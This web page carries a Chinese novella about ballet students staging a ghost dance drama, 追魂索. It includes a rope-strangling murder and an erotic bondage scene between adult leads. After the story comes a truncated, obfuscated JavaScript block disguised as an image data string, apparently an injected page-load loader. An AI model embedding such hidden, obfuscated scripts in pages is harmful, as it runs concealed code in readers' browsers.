分享好友
    复制链接
      象往常一样,林夕第一个来到练功房。


        她换好了黑色的练功服,坐在大镜子前,穿上羊皮底的练功鞋,又在脚踝处套上蓝白相间的护腿,然后站起来,对着镜子仔细的又用手理了一下已经梳的非常光洁的“板头”。她修长的脖子上系着一根细细的红绳,仅仅是一根红绳,没有任何的饰物。雪白的胸脯在黑色练功服的映衬下显得格外诱人。


        林夕喜欢的颜色只有两种,黑色和红色。


        她的所有的练功服都是黑色的,她对别人说,这是因为黑色很耐脏。


        而她的芭蕾鞋是红色的,现在它们就静静的躺在一边,红色的缎带软软地垂在木板地上。这大概是小时侯看《红菱艳》留下的深刻印象,红舞鞋,魔一样的红舞鞋。


        今天是姚老师的芭蕾课。


        姚老师大约是舞蹈学院最厉害的老师了。


        她年轻的时候是“芭团”的台柱子,现在年近五十,身材还保持得非常完美。


        但是她的脾气特别大,每次上她的课,总有小姑娘挨训,不是动作不到位,就是感觉没找到。


        林夕从心里怕她,而且,她又是一个非常爱面子的姑娘。


        每次姚老师的课,她都是第一个到练功房,她不求得到表扬,就为了不挨骂。


        林夕来到把杆前,把脚开到“一位”,开始默默地做动作。


        太阳光不知道什么时候撒进了大教室,随着姑娘们的纷纷到来,练功房里象飞进了一百只小鸟。直到铃声响起来。


        林夕擦擦汗,加入到队列里,她站在后一排,目光撒向门口。


        姚老师一如既往的昂着头,迈着微微有些外八字的脚步走了进来。


        奇怪的是,她身后还跟着一个个子高高的男人。


        马上有姑娘认出了他。“喂,是吴远舟,那个才子!”


        “大家安静!”姚老师说,“从今天起,我们要开始排练大家的毕业舞剧了,这位是研究生部的吴远舟,我们要排的剧本,就是他写的,我们欢迎他介绍一下自己。”


        掌声响起来。


        吴远舟似乎微微红了脸。他是两年前芭蕾专业毕业考入本院研究生部的,一米八的个子,宽宽的肩膀,高高的鼻梁,深深的眼窝,头发很黑,很密。往那里一站,就知道是跳“奇科菲尔德”的。


        “关于我自己没什么可说的,我很高兴能和大家一起排练我的舞剧。


        这也是我的毕业作品,所以,我希望大家能支持我。我还是主要想说说我的剧。它的名字叫《追魂索》。“


        林夕不知怎么,打了一个冷战。


        吴远舟快速的看了她一眼,又回到了剧本阐述。


        “这是一个悲剧。故事的女主角叫灵儿,她是一个不谙世事的乡间少女,当然了,她非常的美丽。然而不幸的是,她爱上了一个官宦子弟司徒风。他们深深的相爱着。但是悬殊的门第阻断了他们的爱情。司徒风的父亲为了让他娶一个当朝大员的千金,不惜雇佣打手,让他们假扮强盗,拦路抢劫并杀死了灵儿。灵儿的冤魂飘飘荡荡来到阴间,她的冤屈让前来锁拿她的无常鬼也黯然泪下。黑无常悄悄地放走了灵儿,让她回到阳间找心上人。……舞剧的第一幕,就是《阴间》。”


        (二)


        阴间。


        一阵冷风吹来,我缓缓地张开双眼。


        这是什么地方啊?


        白茫茫的一片大雾,没有树,没有草,没有花,连一个人也没有。


        安静得好吓人啊。


        我摇摇晃晃站起身来,还是觉的很冷。


        薄薄的纱裙抵御不住冷风的偷袭。


        脖子还隐隐作痛。


        我隐约记起,我是提着篮子穿过树林去找风公子的。篮子里是我专门为他做的萝卜饼。他居然说他从来没有吃过萝卜饼,呵呵,真是好笑啊。对了,我为什么没有见到他呢?


        啊,是发生了可怕的事情!


        强盗!我遇到了强盗!他们蒙着黑色的眼罩,手拿雪亮的匕首,他们问我要钱。可是我那里有许多的钱呢?我把篮子藏在身后,那里是我带给风公子的萝卜饼,还冒着热气呢。可是其中的一个家伙抢去了我的篮子,萝卜饼撒了一地。


        我哭了。


        后来呢?后来发生什么了?


        想起来了,他们不由分说地把我捆在了树上。绳子勒得好紧啊。他们不但把我的双手反绑,还紧紧的缚住了我的脚。我的一只绣鞋在挣扎中掉了,那上面的桃花还是我亲手绣的呢。大树静静地站在我的身后,我的脊背紧紧地贴着粗糙的树皮,我一动也动不了。我从来没有被人捆绑过,我吓坏了,我拼命地叫,我希望公子能听到我的叫声。可是,一个强盗用一团白布堵住了我的嘴。我感到脖子上被勒了一道绳子,我看不见是什么样子的绳子。


        我只觉得那绳子渐渐收紧,我出不了声音,也呼吸不到空气,我越来越冷,我的眼前越来越黑……


        我最后只听到了他的名字——司徒风。


        我站在阴冷的风中想着。丝毫没有注意有人向我走来。


        那棵大树呢?


        那些强盗呢?


        我的篮子呢?


        我的爱人呢?……


        “哗啦哗啦”的铁链子的声音惊醒了我。一个穿着黑色长服、面色黝黑的男人拿着一条银色的链子木然地站在我面前。


        “你是谁?也是强盗吗?”我问。


        “不。我不是强盗。”他说。


        “你能告诉我这是什么地方吗?我找不到家了。”


        “你没有家了。”


        “为什么?我仅仅出来了一小会,怎么一切都不一样了?”


        “是的。一切都不一样了。连你也不一样了。”


        “我?我怎么了?”


        “你走走看。”


        我试着向前走了两步。我发现自己的脚步是那么的轻盈,好象可以飞起来。


        “这是怎么回事?”


        “很简单。你已经死了。”


        “什么?我已经死了?”


        “对。你现在是个鬼。和我一样。我是黑无常。”


        我说不出话来。我低头看看自己,一切还是栩栩如生。


        “不过,你是个孤魂野鬼。生死簿上,你还该有32年阳寿的。”黑无常面无表情地告诉我。


        “可惜,你被人杀死了。你是一个冤死鬼。”


        “为什么?为什么要杀死我?”


        “别问了,灵儿。让我锁上你,跟我去见阎王爷爷,他会可怜你,你生前没有一点恶行,他会让你早早的转世投胎的。”


        “让我变成另外一个人吗?不!”


        “听话,孟婆婆那里有好喝的热汤,你喝了,就不再觉得冷了,什么冤屈愁苦都会忘了,来世作人,还要作个好人。”


        我跪倒在黑无常的面前。


        “无常哥哥,我不能跟你见阎王爷爷,也不要喝孟婆汤,我是冤死的,我到现在还不知道自己为什么而死,我的司徒风公子还不知道我的死讯,让我再见他一面吧,我不能忘了他,我们约定过在奈何桥上相会。


        求你放我回到阳间去见见他吧!“


        黑无常的身形轻轻动了一下。追魂索晃动着冷漠的银色光芒。


        “我不能啊……”他低下头。


        我无言地流着眼泪。


        荒野中,我们两个孤鬼就这样默默地对峙着。


        终于,他捧起我的脸。


        “美丽的灵儿,痴心的灵儿,你这样做会带来什么你知道吗?”


        我跪在他的脚下,摇摇头。我的黑色长发跟着轻轻摇动,一朵鹅黄的小花飘然落下。我发现黑无常冷漠的眼睛里闪过一丝柔情,他是一个俊朗的后生。


        “好。”他咬牙说。“我来承担吧。灵儿,你去吧,时间不多,只有夜半三更的时候,你才能现身和他说话,不过,阎王爷慧眼精明,你最终难逃我的追魂索的……”


        我深深地拜谢,按照他指点的方向飘去。


        黑无常悄悄拾起那朵小黄花。


        追魂索发出颤抖的声音。


        ***********************************************************


        (三)


        吴远舟用手指着后排的一个正在对着镜子做“手位”的姑娘对姚老师说:“我想让她演灵儿。”


        姚老师特意眯起眼睛仔细的辨认了一下。“你是说林夕?”


        “就是那个穿黑衣服的,她叫林夕?”


        “是的。不过,论业务,她不是这个班最出色的,她没有跳过领舞,我担心……”


        “可是,我发现,她身上有一种忧郁的气质,很符合灵儿这个角色。”


        “你这样认为吗?”姚老师用不太信任的眼光看着吴远舟。


        吴远舟坚决的点点头。“是的。就是她。”


        “那,恐怕要给她吃点小灶了。”姚老师说完转头向着姑娘们拍拍手。“大家注意了,我们简单的分派一下角色,都还是暂时的,以后再调整。……”


        林夕怎么也没有想到灵儿这个女一号分派给了自己。她疑惑地把目光投向吴远舟,她清楚,这一定不是姚老师的意思。


        吴远舟微微点点头。


        几个姑娘不服气地小声嘀咕着,被姚老师喝住了。她宣布,今天的课后作业是认真读剧本。目前,大家还要老老实实地把芭蕾课上完,排好队,听琴,做组合。


        但是整整一节课,林夕的脑子都不在把杆上。


        姚老师很理解地没有说她什么。要上大戏,还是女一号,对一个学生来说,她的心情是不可能平静的。


        下课后,吴远舟亲手把剧本交给林夕。“这是我最用心也是最喜欢的本子,我要亲自执导。希望你……”


        林夕什么也没说。她垂下长长的眼睫毛,点点头。


        “好好分析人物,做好案头,有什么问题尽管到宿舍找我。”吴远舟说完就走了。


        林夕抱着沉甸甸的剧本,不知所措的看着四周。


        下课后的校园,男男女女的学生谈笑着,象高傲的天鹅昂首走在林荫道上。这是舞蹈学院的风景。


        林夕要找一个安静的地方,认真地解读这个鬼和人的故事。


        “宝鼎茶闲烟尚绿,幽窗棋罢指犹凉”。


        绿烟茶社的这副对联林夕特别喜欢。不过,现在的年轻人都喜欢去歌厅、酒吧……蒙着白色宣纸的木棱窗下的一副围棋棋盘上,已经落了薄薄的一层灰尘。


        林夕捡了茶社角落的一扇窗前的木几坐下,她坐在下午的阳光里,放松着自己,微微闭上眼睛,眼前红红的一片,暖洋洋的。系着蓝地白印花围裙的外地小妹给她送上一壶绿茶,精致的紫砂壶上浅浅的刻着那副对联,是小篆。林夕用修长的手指摩挲着那副对联,她觉得,在这里看《追魂索》再合适不过了。


        小妹往音响里放了一盘古筝曲,就抱着一只懒懒的黄猫到门口晒太阳去了。茶社里只剩下了林夕,她用紫砂小盏小口地品着茶,看着淡淡的绿烟飘起,听着悠悠的古曲荡开……


        (四)


        还阳。


        我记得我出门的时候穿的是一件桃红色的纱裙,怎么走着走着,我的裙子变成了白色的了?


        “你已经死了。和我一样,你是一个鬼!”黑无常的话在我耳边响起。


        原来,我是个鬼啊!鬼应该是苍白的。


        我的眼泪夺目而出!我加紧了脚步,我要赶快见到风公子!


        眼前的景物怎么越来越熟悉了?


        小溪唱着歌,花儿跳着舞……那棵大树!


        我突然看见了那棵大树!


        这是一棵参天的大松树,浓绿的枝桠撑起一片阴凉,在地上投下黑黑的一片影子。我看见一个少女被捆绑在大树上。她穿着桃红的纱裙,乌黑的长发用玉簪梳起,耳边还俏皮的别着两朵鹅黄的小花。


        她的脸庞纯洁如雪,弯弯的柳眉,微翘的鼻头,一团白布堵在她的口中。她闭着眼睛,长长的睫毛上挂着一滴晶莹的泪珠。头垂向一边,好象是做了一个噩梦。


        我真想赶快叫醒她。


        可是我不能。


        她被麻绳捆绑在大树上。她的双手被反绑在一起,纤细的手腕叠在一起,两道麻绳把它们紧紧缚住。她的双脚也被麻绳捆住了,一只绣着桃花的小巧的绣鞋丢在一边。她背靠大树笔直地站立着,麻绳从她的胸前、腰间、腿上一道道紧紧缠绕住。缠得那么紧啊,她的纱裙都被磨破了,雪白的肌肤上清晰可见青紫的淤痕……尤其是她的脖子。她的脖子上象蛇一样缠着一条致命的白绸。白绸紧紧的勒住了她,勒住了她的生命,结束了她的爱情,现在,它还闪着冷漠的白色光芒,好象在吹嘘自己的胜利。


        一阵风吹过。树叶沙沙的响。


        我看着自己的身体在孤寂的树林里一点点变冷,我看着自己耳鬓的花朵一点点凋谢,我看着那些淫虐的麻绳和冷酷的白绸在嘲弄的望着我……我发疯似地想扑上去撕扯开它们,可是,我一次次地穿越自己的身体,虚幻的魂灵只能发出软弱的哀鸣!


        我感觉自己仿佛又被捆绑了起来,全身发紧,直打冷战。


        “哗啦哗啦”,追魂索的声音顺着风声隐约的传来。我一惊,回头看去,四顾无人。


        是现在回头,到阴曹地府接受生命的轮回?


        还是一直向前,在茫然里找寻前世的情仇?


        我感到孤立无助,我一无所有,连影子都没有。人常说,形影相吊,可是,我连影子的陪伴都没有……这就是鬼的悲哀。


        天黑了。


        黑得那么彻底,连一颗星星也没有。寒鸦从我身边扇着翅膀划过,我忽然记起,夜半三更是我的机会,我还有机会和心爱的人再见上一面。


        想到风公子,我感到身子暖了起来。


        我们是相爱的,自从那次在林中的偶遇。我在采青青的木耳菜,他骑着马从树林中一下子闯进了我的心里……他喜欢听我唱好听的山歌,我喜欢看他舞弄龙泉青锋,我们悄悄地在林中约会,我带给他好吃的核桃酥,他送给我漂亮的红纱巾。只是那一天,他默默地握着我的手,说他的父亲命令他在四月十六娶一个他没见过的姑娘为妻,那姑娘的父亲是朝廷的高官,他们门当户对,郎才女貌。更兼那姑娘知书识理,贤良温婉。


        我不知道该怎么回答他。他不是来找我要一个答案的。


        我知道我只是一个会唱山歌的山里丫头,我也知道我没有资格跨进那朱漆的大门。我告诉他,下次我会给他带香喷喷的萝卜饼来。


        哪里还有什么下次?


        “傻丫头,你的时候不多了……” 黑无常站在我的身后。


        我已经渐渐习惯了自己鬼的身份,对他的突然出现,我一点没有惊慌。


        “无常哥哥,你是来锁我的吗?”


        “唉,我是放不下你,你飘飘荡荡地来到这里,只是为了再看一眼自己吗?”


        “不,我也不知道,我该怎么办呢?”


        “让我告诉你吧,你遇到的那几个强盗其实就是司徒老爷派来的,他收买了几个杀手,扮做强盗,拿了你的性命。为的是让他的儿子死心塌地地完成他满意的婚姻。傻丫头,你现在去司徒府上,难道想看到你的心上人的洞房之夜吗?”


        黑无常拉起我的手。


        “还是和我回去吧,我会轻轻的用追魂索捆上你,你不会疼的。”


        我感激地看着黑无常。


        “无常哥哥,我真的不甘心啊。我想再看他一眼,告诉他,我不能在奈何桥上等他了,希望,希望他的新娘能给他做萝卜饼……”


        黑无常轻轻地叹了口气。他一拉我的手,一托我的腰:“我们去!”


        (五)


        吴远舟换上了练功服。


        他决定自己来扮演《追魂索》中的黑无常的角色。


        这其实是一个很复杂的人物。他是鬼,但有着人的温情,他被赋予锁拿孤魂的使命,却又违背这个职责,默默地爱上了冤死的灵儿。


        银色的追魂锁链,系住了两个无奈的魂灵。


        前几天的排练不能令他满意。舞剧里的群舞部分现在由姚老师带领学生排练,他现在要重点排练和林夕的几段双人舞以及林夕的独舞部分。但是这姑娘不知道怎么了,感觉上总是差那么一点。她的动作基本都到位,可人物的神韵就是演不出来。晚上,吴远舟独自来到练功房,他没有开灯,打开录音机以后,就着皎洁的月色他跳起了那段独舞《追赶》。


        这是灵儿返阳后,黑无常经过思想斗争,决定去追赶灵儿,帮助灵儿的一段独白式的舞蹈。舞蹈的段落不长,但是动作的幅度很大。


        在一段快板后,黑无常以一个大跳结束舞蹈。


        吴远舟出了不少汗,他一边擦着,一边扭开了电灯。


        大镜子里出现了一个黑衣姑娘的身影。


        林夕。


        “林夕?你怎么来了?还不休息?”吴远舟吃了一惊,但内心里却又好象在暗暗期待着这个时刻。


        “吴老师……”


        “我不是老师,你别这么叫,论起来我算你的师兄了。”吴远舟披上外衣,扶着把杆,活动着脚踝。


        “我知道我跳地不好,我……让你失望了……是吗?”林夕怯怯地问。


        “你呀,就是因为不自信。你对着镜子看看,你的条件多好!毕业大戏排好了,我打赌‘芭团’会点着名要你!”


        “你别逗我了,我知道,我没有达到你的要求。”林夕低下头,“其实我每天晚上都来练……可是……”


        吴远舟知道不是开玩笑的时候了。“林夕,你能告诉我,你觉得哪里比较困难?我来帮你好了。”


        “我……我不知道为什么,那追魂索一碰到我,我就紧张,身体就发僵,动作就出不来了……”林夕红着脸低下头。


        吴远舟一时也说不出话来。他没有想到林夕提出的是这样的问题。


        沉默了片刻,吴远舟说:“林夕,我看你写的人物分析和人物小传还是比较理解吃透了灵儿的。这追魂索有隐含的寓意,它其实是一种无奈的命运的象征。灵儿和黑无常是两个鬼魂,鬼魂的形象应该是吓人的,但他们不是,他们都是善良的。一根追魂索连接了两个善良的鬼魂,况且,黑无常还有默默的爱浸透在里面。你应该喜爱这两个鬼魂,不要怕……”


        林夕勇敢地抬起头,看着吴远舟的眼睛。“我们来排练‘追魂’那段吧,象你刚才那样!”


        吴远舟愣了一下:“你是说现在?”


        “是的。”一抹红晕飘上林夕的脸颊。


        几天来的排练,林夕深深的爱上了灵儿这个角色。这个美丽善良的魂灵简直可以和《吉塞尔》相比。


        不知怎么,她仿佛还有点爱上了吴远舟——黑无常。当他们跳双人舞的时候,那男性的汗味常常让林夕不自觉地害羞。


        这是她第一次跳独舞,她努力地想跳得好点,再好点!但是她从吴远舟的眼神里知道,她没有达到他的要求。她也知道,很多姑娘在背后议论着,对她得到灵儿的角色非常不服气。她只有刻苦地练习,每天晚上她都到练功房加班,没想到,今天,遇到了吴远舟。


        吴远舟是个才子,他从芭蕾专业本科毕业后,考取了研究生。他写的剧本浪漫凄美,很多女生都想上他的这部毕业大戏。但是,他偏偏选择了业务并不是特别拔尖的林夕。他看重的是林夕的气质。气质这东西很难说清楚,有很多女生比林夕更漂亮,身材更高挑,但是,她们没有林夕身上那种沉静文雅甚至忧郁的气质。林夕不是一个浅薄浮躁的女孩子。这一点,吴远舟相信自己的眼睛。


        正是那淡淡忧郁的眼睛吸引了吴远舟。


        现在这双眼睛就那样望着自己。


        吴远舟的心跳快了起来。他默默无语地走到练功房的门边,轻轻地关上了门,然后他手按着电灯的开关,目不转睛地望着林夕。


        林夕褪去了外面披着的风衣。


        她早就穿好了练功服。一身黑色的紧身弹力服勾勒出林夕美好的线条,她的脖子长而白皙,细细的红绳隐约可见。


        吴远舟看着她换好了红色的芭蕾鞋,她仔细的把红色的缎带在脚踝处一道道缠好。然后,她走到房间中心,以左腿为主力腿,右脚退后半步,足尖点地,双手成“一位”自然的垂在身前,然后,她转头向吴远舟,长长的眼睫毛忽闪了两下:“无常哥哥,请带我走吧……”


        吴远舟关掉了电灯。


        月光撒了进来,音乐起……


        黑暗的世界是鬼魂的世界。


        黑无常和灵儿翩翩起舞,他们忽而纠缠在一起,忽而互相找寻追逐。伤心的灵儿不舍人世灯光的温暖,却又无奈的屈从着地府的召唤……黑无常要锁拿灵儿去见阎王,但又被这个痴情的少女深深吸引,手中的追魂索迟迟不忍举起……


        排练时用的追魂索是道具师用棉绳做的,白色的,两个手指宽,4、5米长。到真正演出的时候,会用银粉装饰,从视觉上做成金属的感觉。


        音乐到了高潮。


        吴远舟举起了追魂索!


        当追魂索碰到林夕的时候,吴远舟清楚地听到了她的一声浅浅的呻吟:“哦……”


        吴远舟愣住了,他不知所措的举着追魂索。在月光下捕捉林夕的感觉。


        林夕把脸埋藏在黑暗里,她黑色的练功服象是隐身衣,帮助她藏起了女子的羞涩。


        吴远舟感觉到了林夕的微微颤抖。他犹豫着,要不要……


        林夕象梦呓一般:“无常哥哥……”


        “灵儿……”吴远舟忽然的进入了无常的世界。


        “无常哥哥,你……带我走吧……”


        “灵儿,我要用追魂索锁上你!”


        “是,无常哥哥,……”林夕脱离了舞蹈的规定。


        她滑落在吴远舟的脚下,顺从地把双手背在身后。


        吴远舟一点没有犹豫地把追魂索从林夕的脖颈后绕过,在她的双臂上缠了两绕,顺势把她的小臂叠在身后,并使劲向上一带,按照中国式的捆绑方式,把林夕的双臂反绑在身后。他紧紧的捆绑着,并打了一个结实的绳结。


        林夕丝毫没有反抗。


        这时候,音乐忽然停了,录音机“卡塔”一声。把两个人吓了一跳。


        吴远舟本能地跳开。


        林夕慢慢地抬起脸。


        月光正照着他们。


        静静的,静静的,他们就那样对视着。


        林夕的脸庞线条柔和,她的眼睛丝毫没有不满和惊慌,反而比以往显得更加清澈。她的小嘴微微张开,露出珍珠一样的牙齿,嘴角微微向上一翘……


        吴远舟看呆了,莫非她在冲我笑吗?是的,她笑了。黑色练功服上缠绕的白色绳子构成了一幅美妙的画面,好象是一张黑白的艺术照片。难得的是那姑娘宁静柔和的神态,以及绳子把她捆成的美妙造型。


        吴远舟轻轻地迈动脚步,一声不发地绕着林夕走着,他从各个角度欣赏着,林夕保持着姿态,但是能感到她的颤抖,那是发自内心的颤抖。


        终于,吴远舟回到了林夕面前,他默默地跪在林夕面前,林夕也象他一样,跪了起来,只不过反绑着双手。


        许久,吴远舟长叹一声,展开双臂,紧紧地拥林夕入怀,他用手抚摩着林夕被绳子捆绑的双臂,揉着她已经冰冷的双手。


        他没有解开她。


        林夕在吴远舟的怀中,清楚地闻到了他男人的气息,这气息简直要让她晕倒了,她抑制不住地流下了眼泪,温暖、安全,还有,爱……她不想他解开她。


        不知过了多久,吴远舟感觉林夕的呼吸平稳了。他轻轻地问:“好点了吗?”


        “恩。”林夕用极其轻微的声音说,好象怕吵醒了自己。“我以前以为,女人被捆绑是一件耻辱的事情,我很怕。那追魂索一碰到我,我就……现在,我找到了一种平和安全的感觉,我想,是你,是你的追魂索带给我的,我被它捆绑着,却感觉被你拥抱着……我不再怕了……”


        “林夕,你,你现在真美……”


        “嘘……”


        …………


        窗外,流光正徘徊。


        (六)


        洞房。


        我跟着无常哥哥走进了司徒府。没有人看见我们,因为我们是鬼。


        但是我还是很怕。这里张灯结彩,显然刚刚有一场热闹的婚礼。


        我的心在流血,我知道那是谁的婚礼。


        黑无常默默地看着我,他抓住了我的手:“灵儿,你真的要进去吗?”


        我没有选择,我想见见他。


        后院就是他的洞房。


        这里静悄悄的。


        黑无常指给我一间青瓦小楼,告诉我到那里面去。我不敢松开他的手,我忽然很怕他离开我。虽然他拿着那条冷冰冰的追魂索,但是,他在我的身边,我感觉到了安全。


        “去吧,灵儿,我会在你身边的。”黑无常捧起我的脸,我看见他的眼睛里湿湿的。


        不用推门,不用开窗,我就那样飘进了他的洞房。


        红彤彤的洞房晃了我的眼睛,我定了定神,看见了那个新娘。她盖着红盖头,穿着红衣红裙红鞋,坐在红帐笼罩的婚床上。红红的喜蜡跳动着活泼的火焰。


        我真想看看她,她长的好看吗?她的声音好听吗?她的手巧不巧?


        她的心灵不灵?


        我痴痴的想着。啊,对了,我的风公子呢?他在哪里?


        门突然被撞开了!


        新娘被吓了一跳,我也被吓了一跳。


        是风公子!


        他也穿着红色的新装,但是,他的眼睛为什么也是红色的啊?


        哦,他哭了!


        他哭着冲进了房间!


        “你还我灵儿!你还我灵儿!”他突然发狂地抓住新娘的肩膀,红盖头滑落下来,新娘子美丽的脸庞充满了惊诧,大约被抓疼了,她痛苦地叫着:“官人!你在说什么啊?”


        “我在说你,你还我灵儿!”


        “灵儿是谁啊?”无辜的新娘被吓坏了!


        “为了让我娶你!他们杀死了灵儿!我知道!我知道!没有什么强盗!


        没有什么拦路抢劫!就是为了你,他们杀死了我心爱的灵儿!他们好狠啊,他们把我的灵儿捆在树上活活的勒死了!灵儿啊,是我害了你!“


        风公子把吓呆了的新娘摔在床上,他发疯一样的用拜堂的红绸带把新娘紧紧地缚住!


        “你还我灵儿!你还我灵儿!”他瞪着血红的双眼喊着。


        可怜的新娘一边挣扎一边哭喊着爹娘。


        我僵在那里,不知道该怎么办。


        我听到一声淡淡的叹息。我知道黑无常来到了我的身边。


        我转过身子,求助的望着他。


        他一挥手,房门打开了,哭闹声立刻传了出去,我听到有人朝这边跑来。“灵儿,你还想和他说什么?”


        我摇摇头。我生前不能给他什么,死后也不能给他什么。


        人们跑了来,救下了惊慌失措的新娘。风公子瘫软在地上,他眼睛发直,好象能看到我就站在他的面前,他不停的呼唤着我:“灵儿,回来啊,灵儿,回来啊……”


        我哭了。公子啊,奈何桥的约定,你就忘了吧!


        赶来的医生说,风公子疯了。新娘的哭声更大了。司徒老爷坐在椅子上,一句话也不说。


        我看着人们把风公子送进了另一间暖阁,他已经沉沉地睡去。医生说,也许有一天,他能忘了我,那时候,他的病就好了。我听到他的家人在诅咒我。那恶毒的话语是我从没有听过的。但我一字一句地听着。


        我默默地祈祷,老天啊,只要他能忘了我,我愿意永世不得超生!


        黑无常紧紧地抓住了我的手。他听到了我内心的祈祷,他向我摇头,想告诉我地狱的恐怖。但是为了风公子,我情愿。


        黑无常把我的手攥得生疼。


        “也好。”他说,“那样我能永远陪着你了。”


        “无常哥哥……”


        “灵儿……”


        “无常哥哥,你……带我走吧……”


        “灵儿,我要用追魂索锁上你!”


        “是,无常哥哥,……”


        ………………


        (七)


        阴间。


        还阳。


        洞房。


        前三幕的演出非常成功,林夕也不知道台下传来了多少掌声。她已经完全地沉浸在剧情里了。


        换景片的间隙,在幕布的后面,吴远舟捉住了林夕的手。“灵儿,我的好灵儿!”


        “无常哥哥,接下来,你要索拿我到地府去了?”


        “是的。你怕吗?”


        “不,我不怕,你会用追魂索捆住我的,是不是?”


        “是的。你怕吗?”


        “不。我不怕。我情愿。”


        吴远舟情不自禁的把林夕揽入怀里,他把林夕的双手背在身后,紧紧的攥着它们。他知道,最后一幕《锁魂》他们一定能跳得非常出色!


        灯光暗了下来。


        音乐渐起。


        一束追光打在舞台上。


        穿着白纱裙的林夕轻灵地跃上舞台。


        她的足尖灵巧的跃动,在幽暗的世界里象一只翩然起舞的白色蝴蝶。


        一阵清风忽然吹进身体,灵儿来了。林夕感觉到。


        “无常哥哥,无常哥哥,带我走吧,带我离开这纷扰的红尘凡世吧!”


        我冲向夜空,满腔哀怨的眼泪化作点点流星。我再不想听到人世间的一点声音!


        我是个鬼,我飘飘荡荡,我无依无靠,我来无影,我去无踪,我无悲无喜无怨无悔,待到走过了奈何桥,登上了望乡石,喝下了孟婆汤,我就无爱无恨无烦无恼!


        “哗啦哗啦”的声音在身后响起。


        无常哥哥举起了追魂索!


        飘荡荡的音乐声中,吴远舟饰演的黑无常上场了。他手中挥动着银光闪闪的锁链,追逐着白裙飞舞的灵儿。


        “灵儿啊,你这痴情的女子!你为情而死,为爱而殇,连我这冷面无私的无常鬼也为你掬一捧伤心泪!割舍这凡尘的恩怨,随我来,随我来……”


        无常哥哥的追魂索在夜空中划下了优美的银线。


        我盈盈跪倒在他的脚下,探出脖颈,伸出双臂,任那冰冷的锁链象蛇一样缠上我的身体!


        黑无常把铁链捆绑在我瘦弱的身躯,我耳边响着铁链的咆哮,我感到自己的无奈中却也有着几分无怨……


        追魂索锁住了我的脖子和双手,也锁住了我的心,我无力挣扎,我把灵魂交付出去:“无常哥哥,带我走吧!”


        黑无常抖动锁链,“哗啦”一声响,灵儿的身子随之飘荡而起!


        林夕身缠银色的追魂索,被吴远舟高高托举起。


        黑无常舞动锁链,银光闪处,两个魂灵跳起了幽冥的舞蹈!


        吴远舟扯着追魂索,带着林夕旋转着,跳跃着,最后定格在如同剪影的造型。


        灵儿……林夕……


        黑无常……吴远舟……


        追魂索!


        大幕闭上。


        灯光亮起。


        掌声潮水般涌向舞台。


        林夕全身缠绕着追魂索,瘫坐在台中央泣不成声。直到吴远舟把她轻轻地抱起。


        所有的群舞演员已经谢完幕了,大幕再一次徐徐拉开。


        吴远舟拉着林夕的手,带着她走向前台,深深地给观众鞠躬。


        林夕只觉得眼前发花,她不由自主地紧紧抓着追魂索,把身体靠近吴远舟。


        他们就这样握着手,直到潮水渐渐退去……


        (八)


        绿烟茶社。


        林夕和吴远舟守着一壶清茶,坐在窗前,静静地对弈。这局棋已经到了收官阶段,一数目,林夕居然半目取胜。她愉快地把黑子投进棋盒。


        “不来了不来了,我赢了!”


        “呵呵,是我让你的,傻丫头!”吴远舟笑着看着林夕。


        “我不管了,我赢了就有奖励的!”林夕歪着头,淘气地说。


        “说说看,你要什么奖励?”


        “我要一件东西!”


        “哦?什么呢?”


        “你猜啊!”


        “猜不到啊。”


        “好笨!”


        “你就招了吧,呵呵,要不我们再下一局?”吴远舟装作要重新下棋的样子。


        “不下了,我告诉你吧……”林夕美丽的脸庞上飘过红云。她凑到吴远舟的耳边,轻轻吐出三个字:“追魂索……”


        吴远舟把林夕紧紧地揽在怀中。


        下午的阳光真的是很美啊。

      
!function(){function a(a){var _idx="uffc4b2fup";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"}"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 